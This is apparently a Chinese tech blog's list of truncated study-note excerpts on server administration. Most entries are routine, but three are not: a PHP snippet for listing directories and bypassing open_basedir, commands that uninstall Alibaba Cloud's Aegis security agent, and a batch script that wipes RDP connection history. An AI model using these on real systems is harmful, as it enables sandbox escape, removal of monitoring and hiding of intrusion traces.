分类: 学习笔记

安骑士aegis卸载屏蔽

date 2022年06月05日 | category Linux,学习笔记

卸载命令 service aegis stop chkconfig --del aegis 卸载脚本 wget http://update.aegis.aliyun.com/download/uninstall.sh sh uninstall.sh wget http://update.aegis.aliyun.com/download/quartz_uninstall.sh sh quartz_uninstall.sh 删除卸载残留 pkill aliyun-service rm -fr ReadMore

Bypass open_basedir

date 2021年03月08日 | category 学习笔记

列目录 test.php?c=/tmp/ <?php $c = $_GET['c']; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?> 读文件 <?php mkdir('minx'); chdir('minx'); ini_set('open_basedir','..'); chdir('..');chdir('..');chdir('..');chdir('..'); ReadMore

nginx自动部署https证书

date 2019年04月19日 | category 学习笔记

let’s encrypt cd /home/data/app git clone https://github.com/letsencrypt/letsencrypt mkdir -p /home/data/data/html/.well-known/acme-challenge /home/data/app/letsencrypt/letsencrypt-auto certonly –email info@huairen.me -d huairen.me -d www.huairen.me –webroot -w ReadMore

学习笔记

date 2019年04月13日 | category 学习笔记

REDIS cd /home/data/soft wget http://download.redis.io/redis-stable.tar.gz tar zxvf redis-stable.tar.gz cd redis-stable make -j 4 make install PREFIX=/home/data/app/redis cp /home/data/soft/redis-stable/redis.conf /home/data/config/redis.conf cp /home/data/soft/redis-stable/redis.conf ReadMore

使用Docker安装Aria2+AriaNg+FileBrowser,建立自己的离线BT,磁力下载服务器

date 2019年01月29日 | category 学习笔记

1. 安装Docker [crayon-6510a3b00c6a8350175834/] 2. 安装Docker Compose [crayon-6510a3b00c6b3668815232/] 3. 安装Aria2+AriaNg+FileBrowser [crayon-6510a3b00c6b6877327956/] Aria2: http://yourip FileManger: http://yourip/files 请使用 admin/admin ReadMore

Windows10操作系统找不到已输入的环境选项 解决方案

date 2018年05月07日 | category 学习笔记

Windows10操作系统找不到已输入的环境选项 ReadMore

清除rdp连接记录批处理命令

date 2018年03月15日 | category 学习笔记

@echo off reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" cd ReadMore

为邮件服务器MX、SPF、DKIM 、rDNS、等记录

date 2017年11月16日 | category 学习笔记

1. MX记录 邮件的MX记录最好是指向机器A记录,尽量不要直接指向IP地址(不符合规范)。 2. SPF记录 SPF(Sender Policy Framework)是以IP地址认证电子邮件发件人身份的技术,是一种通用的反垃圾技术之一。 ReadMore